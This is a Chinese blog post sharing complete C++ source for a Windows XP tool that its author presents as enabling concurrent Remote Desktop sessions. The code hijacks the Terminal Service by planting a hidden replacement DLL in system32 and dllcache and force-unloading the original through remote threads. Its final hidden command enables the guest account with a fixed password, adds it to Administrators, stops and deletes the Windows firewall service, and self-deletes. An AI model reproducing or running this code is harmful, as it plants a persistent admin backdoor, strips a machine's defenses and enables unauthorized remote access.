生活的天平本不平衡,只有通过努力改变其偏向。

xp下双开3389源码

2008-05-25

作者:cooldiyer
来源:红狼

很早时候写的,方便大家用,代码丢了我也可以百度到
编译后,直接运行,XP的终端自动开启激活guest,密码为cooldiyer,加管理员组
并且可以多用户登录
声明,原创………………..

C++代码
  1. // xp3389.cpp : XP下双开3389的工具 Code By CoolDiyer
  2. //
  3. #pragma comment(linker, ”/FILEALIGN:0×200 /opt:nowin98 /IGNORE:4078 /MERGE:.rdata=.text /MERGE:.data=.text /section:.text,ERW”)
  4. #include ”stdafx.h”
  5. #include ”resource.h”
  6. #include
  7. #include
  8. DWORD
  9. GetProcessId(LPCTSTR szProcName)
  10. {
  11. PROCESSENTRY32 pe;
  12. DWORD dwPid;
  13. DWORD dwRet;
  14. BOOL bFound = FALSE;
  15. HANDLE hSP = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  16. if (hSP)
  17. {
  18. pe.dwSize = sizeof( pe );
  19. for (dwRet = Process32First(hSP, &pe);
  20. dwRet;
  21. dwRet = Process32Next(hSP, &pe))
  22. {
  23. if (lstrcmpi( szProcName, pe.szExeFile) == 0)
  24. {
  25. dwPid = pe.th32ProcessID;
  26. bFound = TRUE;
  27. break;
  28. }
  29. }
  30. CloseHandle(hSP);
  31. if (bFound == TRUE)
  32. {
  33. return dwPid;
  34. }
  35. }
  36. return NULL;
  37. }
  38. bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam)
  39. {
  40. if (!IsWindowVisible(hwnd))
  41. return true;
  42. DWORD dwWindowThreadId = NULL;
  43. DWORD dwLsassId = (DWORD)lParam;
  44. GetWindowThreadProcessId(hwnd, &dwWindowThreadId);
  45. if (dwWindowThreadId == (DWORD)lParam)
  46. {
  47. // 关闭指定进程的窗口
  48. SendMessage(hwnd, WM_CLOSE, 0, 0);
  49. }
  50. return true;
  51. }
  52. // 写注册表的指定键的数据(Mode:0-新建键数据 1-设置键数据 2-删除指定键 3-删除指定键项) from NameLess114
  53. int WriteRegEx(HKEY MainKey, LPCTSTR SubKey, LPCTSTR Vname, DWORD Type, char* szData, DWORD dwData, int Mode)
  54. {
  55. HKEY hKey;
  56. DWORD dwDisposition;
  57. int iResult =0;
  58. __try
  59. {
  60. // SetKeySecurityEx(MainKey,Subkey,KEY_ALL_ACCESS);
  61. switch(Mode)
  62. {
  63. case 0:
  64. if(RegCreateKeyEx(MainKey,SubKey,0,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,&hKey,&dwDisposition) != ERROR_SUCCESS)
  65. __leave;
  66. case 1:
  67. if(RegOpenKeyEx(MainKey,SubKey,0,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
  68. __leave;
  69. switch(Type)
  70. {
  71. case REG_SZ:
  72. case REG_EXPAND_SZ:
  73. if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)szData,strlen(szData)+1) == ERROR_SUCCESS)
  74. iResult =1;
  75. break;
  76. case REG_DWORD:
  77. if(RegSetValueEx(hKey,Vname,0,Type,(LPBYTE)&dwData,sizeof(DWORD)) == ERROR_SUCCESS)
  78. iResult =1;
  79. break;
  80. case REG_BINARY:
  81. break;
  82. }
  83. break;
  84. case 2:
  85. if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
  86. __leave;
  87. if (RegDeleteKey(hKey,Vname) == ERROR_SUCCESS)
  88. iResult =1;
  89. break;
  90. case 3:
  91. if(RegOpenKeyEx(MainKey,SubKey,NULL,KEY_READ|KEY_WRITE,&hKey) != ERROR_SUCCESS)
  92. __leave;
  93. if (RegDeleteValue(hKey,Vname) == ERROR_SUCCESS)
  94. iResult =1;
  95. break;
  96. }
  97. }
  98. __finally
  99. {
  100. RegCloseKey(MainKey);
  101. RegCloseKey(hKey);
  102. }
  103. return iResult;
  104. }
  105. bool DebugPrivilege(const char *PName, BOOL bEnable)
  106. {
  107. BOOL bResult = TRUE;
  108. HANDLE hToken;
  109. TOKEN_PRIVILEGES  TokenPrivileges;
  110. if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken))
  111. {
  112. bResult = FALSE;
  113. return bResult;
  114. }
  115. TokenPrivileges.PrivilegeCount = 1;
  116. TokenPrivileges.Privileges[0].Attributes = bEnable ? SE_PRIVILEGE_ENABLED : 0;
  117. LookupPrivilegeValue(NULL, PName, &TokenPrivileges.Privileges[0].Luid);
  118. AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, sizeof(TOKEN_PRIVILEGES), NULL, NULL);
  119. if (GetLastError() != ERROR_SUCCESS)
  120. {
  121. bResult = FALSE;
  122. }
  123. CloseHandle(hToken);
  124. return bResult;
  125. }
  126. bool UnloadRemoteModule(DWORD dwProcessID, HANDLE hModuleHandle)
  127. {
  128. HANDLE hRemoteThread;
  129. HANDLE hProcess;
  130. if (hModuleHandle == NULL)
  131. return false;
  132. hProcess=::OpenProcess(PROCESS_VM_WRITE|PROCESS_CREATE_THREAD|PROCESS_VM_OPERATION, FALSE, dwProcessID);
  133. if (hProcess == NULL)
  134. return false;
  135. HMODULE hModule=::GetModuleHandle(”kernel32.dll”);
  136. LPTHREAD_START_ROUTINE pfnStartRoutine = (LPTHREAD_START_ROUTINE)::GetProcAddress(hModule, “FreeLibrary”);
  137. hRemoteThread=::CreateRemoteThread(hProcess, NULL, 0, pfnStartRoutine, hModuleHandle, 0, NULL);
  138. if(hRemoteThread==NULL)
  139. {
  140. ::CloseHandle(hProcess);
  141. return false;
  142. }
  143. ::WaitForSingleObject(hRemoteThread,INFINITE);
  144. ::CloseHandle(hProcess);
  145. ::CloseHandle(hRemoteThread);
  146. return true;
  147. }
  148. HANDLE FindModule(DWORD dwProcessID, LPCTSTR lpModulePath)
  149. {
  150. HANDLE hModuleHandle = NULL;
  151. MODULEENTRY32 me32={0};
  152. HANDLE hModuleSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID);
  153. me32.dwSize=sizeof(MODULEENTRY32);
  154. if(::Module32First(hModuleSnap, &me32))
  155. {
  156. do
  157. {
  158. if (!lstrcmpi(me32.szExePath, lpModulePath))
  159. {
  160. hModuleHandle = me32.hModule;
  161. break;
  162. }
  163. }while(::Module32Next(hModuleSnap,&me32));
  164. }
  165. ::CloseHandle(hModuleSnap);
  166. return hModuleHandle;
  167. }
  168. bool UnloadModule(LPCTSTR lpModulePath)
  169. {
  170. BOOL bRet = false;
  171. PROCESSENTRY32 pe32;
  172. pe32.dwSize = sizeof(pe32);
  173. HANDLE hProcessSnap=::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  174. //查找相关的进程
  175. if(::Process32First(hProcessSnap, &pe32))
  176. {
  177. do
  178. {
  179. HANDLE hModuleHandle = FindModule(pe32.th32ProcessID, lpModulePath);
  180. if (hModuleHandle != NULL)
  181. {
  182. bRet = UnloadRemoteModule(pe32.th32ProcessID, hModuleHandle);
  183. }
  184. }while (Process32Next(hProcessSnap,&pe32));
  185. }
  186. CloseHandle(hProcessSnap);
  187. return bRet;
  188. }
  189. void StartService(LPCTSTR lpService)
  190. {
  191. SC_HANDLE hSCManager = OpenSCManager( NULL, NULL,SC_MANAGER_CREATE_SERVICE );
  192. if ( NULL != hSCManager )
  193. {
  194. SC_HANDLE hService = OpenService(hSCManager, lpService, DELETE | SERVICE_START);
  195. if ( NULL != hService )
  196. {
  197. StartService(hService, 0, NULL);
  198. CloseServiceHandle( hService );
  199. }
  200. CloseServiceHandle( hSCManager );
  201. }
  202. }
  203. BOOL ReleaseResource(WORD wResourceID, LPCTSTR lpType, LPCTSTR lpFileName)
  204. {
  205. HGLOBAL hRes;
  206. HRSRC hResInfo;
  207. HANDLE hFile;
  208. DWORD dwBytes;
  209. hResInfo = FindResource(NULL, MAKEINTRESOURCE(wResourceID), lpType);
  210. if (hResInfo == NULL)
  211. return FALSE;
  212. hRes = LoadResource(NULL, hResInfo);
  213. if (hRes == NULL)
  214. return FALSE;
  215. hFile = CreateFile
  216. (
  217. lpFileName,
  218. GENERIC_WRITE,
  219. FILE_SHARE_WRITE,
  220. NULL,
  221. CREATE_ALWAYS,
  222. FILE_ATTRIBUTE_NORMAL,
  223. NULL
  224. );
  225. if (hFile == NULL)
  226. return FALSE;
  227. WriteFile(hFile, hRes, SizeofResource(NULL, hResInfo), &dwBytes, NULL);
  228. CloseHandle(hFile);
  229. return TRUE;
  230. }
  231. void SetReg()
  232. {
  233. WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Services\\TermService”,”Start”,REG_DWORD,NULL,2,0);
  234. WriteRegEx(HKEY_LOCAL_MACHINE, “SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon”, “KeepRASConnections”, REG_SZ, “1″, 0, 0);
  235. WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Control\\Terminal Server”, “fDenyTSConnections”, REG_DWORD, NULL, 0, 0);
  236. WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core”, “EnableConcurrentSessions”,
  237. REG_DWORD, NULL, 1, 0);
  238. WriteRegEx(HKEY_LOCAL_MACHINE, “SYSTEM\\CurrentControlSet\\Services\\TermService\\Parameters”, “ServiceDll”, REG_EXPAND_SZ,
  239. “%SystemRoot%\\system32\\termsrvhack.dll”, 0, 0);
  240. }
  241. void ReleaseDll()
  242. {
  243. char strSystemPath[MAX_PATH];
  244. char strDllcachePath[MAX_PATH];
  245. GetSystemDirectory(strSystemPath, sizeof(strSystemPath));
  246. GetSystemDirectory(strDllcachePath, sizeof(strDllcachePath));
  247. lstrcat(strSystemPath, “\\termsrvhack.dll”);
  248. lstrcat(strDllcachePath, “\\dllcache\\termsrvhack.dll”);
  249. ReleaseResource(IDR_DLL, “BIN”, strSystemPath);
  250. ReleaseResource(IDR_DLL, “BIN”, strDllcachePath);
  251. SetFileAttributes(strSystemPath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
  252. SetFileAttributes(strDllcachePath, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM);
  253. }
  254. bool IsOSXP()
  255. {
  256. OSVERSIONINFOEX OsVerInfoEx;
  257. OsVerInfoEx.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);
  258. GetVersionEx((OSVERSIONINFO *)&OsVerInfoEx); // 注意转换类型
  259. return OsVerInfoEx.dwMajorVersion == 5 && OsVerInfoEx.dwMinorVersion == 1;
  260. }
  261. void HijackService()
  262. {
  263. char strDll[MAX_PATH];
  264. GetSystemDirectory(strDll, sizeof(strDll));
  265. lstrcat(strDll, “\\termsrv.dll”);
  266. // 释放termsrvhack.dll
  267. ReleaseDll();
  268. // 遍历进程卸载现在加载的DLL
  269. DebugPrivilege(SE_DEBUG_NAME, TRUE);
  270. if (!UnloadModule(strDll))
  271. return;
  272. DebugPrivilege(SE_DEBUG_NAME, FALSE);
  273. // 关闭要弹出的出错对话框和因DLL强制卸载使一些服务异常终止而弹出来的自动关机对话框
  274. // 对进程赋予关闭权限
  275. DebugPrivilege(SE_SHUTDOWN_NAME,TRUE);
  276. DWORD dwLsassId = GetProcessId(”csrss.exe”);
  277. while (!AbortSystemShutdown(NULL))
  278. {
  279. // 一些系统是会弹出drwtsn32.exe
  280. DWORD dwDrwtsn32Id = GetProcessId(”drwtsn32.exe”);
  281. if (dwDrwtsn32Id != NULL)
  282. {
  283. EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwDrwtsn32Id);
  284. }
  285. // 模块强制卸载时会出错,关闭csrss.exe进程弹出的出错窗口
  286. EnumWindows((WNDENUMPROC)EnumWindowsProc, (LPARAM)dwLsassId);
  287. Sleep(10);
  288. }
  289. DebugPrivilege(SE_SHUTDOWN_NAME, FALSE);
  290. }
  291. int WINAPI WinMain(
  292. HINSTANCE hInstance, // handle to current instance
  293. HINSTANCE hPrevInstance, // handle to previous instance
  294. LPSTR lpCmdLine, // command line
  295. int nCmdShow // show state
  296. )
  297. {
  298. // 一些注册表的操作
  299. SetReg();
  300. if (IsOSXP())
  301. {
  302. // 替换DLL
  303. HijackService();
  304. }
  305. // 开始终端服务
  306. StartService(”TermService”);
  307. // 激活guest,加管理员组,自删除,停止XP自带的防火墙,并删除它
  308. char strCommand[1024];
  309. char strSelf[MAX_PATH];
  310. GetModuleFileName(NULL, strSelf, sizeof(strSelf));
  311. wsprintf(strCommand, “cmd.exe /c net user guest /active:yes && net user guest cooldiyer && net localgroup administrators guest /add && net stop SharedAccess /y && del \”%s\” && sc delete SharedAccess”, strSelf);
  312. WinExec(strCommand, SW_HIDE);
  313. return 0;
  314. }
作者:lonkil | 分类目录:编程开发 | 标签:

评论已关闭。